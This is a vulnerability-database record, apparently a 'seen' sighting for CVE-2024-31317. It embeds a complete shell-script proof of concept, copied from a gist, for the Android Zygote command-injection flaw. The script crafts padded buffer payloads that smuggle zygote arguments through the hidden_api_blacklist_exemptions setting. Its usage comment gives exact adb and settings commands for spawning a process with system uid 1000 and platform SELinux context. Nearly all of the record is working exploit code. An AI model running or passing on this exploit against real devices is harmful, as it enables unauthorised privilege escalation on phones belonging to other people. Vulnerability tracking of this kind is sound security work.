{"uuid": "9e4c4936-b8e2-4c4f-bdcb-90fdb7a8a17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-31317", "type": "seen", "source": "https://gist.github.com/wawomarks/93f8133b8215f0d5b7b8f0626288ec3b", "content": "#!/bin/sh\n# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:\n# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html\n#\n# USAGE (android 13, with pre-13 use 12200 instead of 32768):\n#    host$ adb push payload.sh /sdcard/\n#    host$ adb shell\n#   shell$ logcat -c; settings put global hidden_api_blacklist_exemptions \"$(sh /sdcard/payload.sh 8192 32768 \\\n#          --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \\\n#          --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \\\n#          --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \\\n#          android.app.ActivityThread seq=40)\"; logcat\n# Getting the values from parameters\n\nbuffer_size=$1\nshift\n\nzygote_read_abort_size=$1\nshift\n\nzygote_args_len=$#\n\n# What's predefined in the executed command when execute `settings put global hidden_api_blacklist_exemptions `\nprefix=\"6 --set-api-denylist-exemptions      \"\nprefix_len=$(echo -n \"$prefix\" | wc -c)\n\nadd_chars=$(($buffer_size - $prefix_len + 2))\n# For tests: echo the prefix, delete from prod:\n#echo \"6\\n--set-api-denylist-exemptions\"\n# Making pad to fill the first buffer and amount should go in the next buffer\npayload=$(printf \"\\n\\n\\n\\n\\n%${add_chars}s\" $zygote_args_len  | tr ' ' A)\n\n# Printing each zygote argument to run\nfor arg in \"$@\"; do\n    payload=\"$payload\\n$(echo \"$arg\")\"\ndone\necho \"$payload\"\npayload_len=$(echo \"$payload\" | wc -c)\n\necho -n ,,,,\nadd_chars=$(($buffer_size*2 - ($prefix_len + $payload_len) - 1))\nprintf \"%${add_chars}s\" 'X' | tr ' ' 'X'\necho E", "creation_timestamp": "2026-10-06T06:26:04.000000Z"}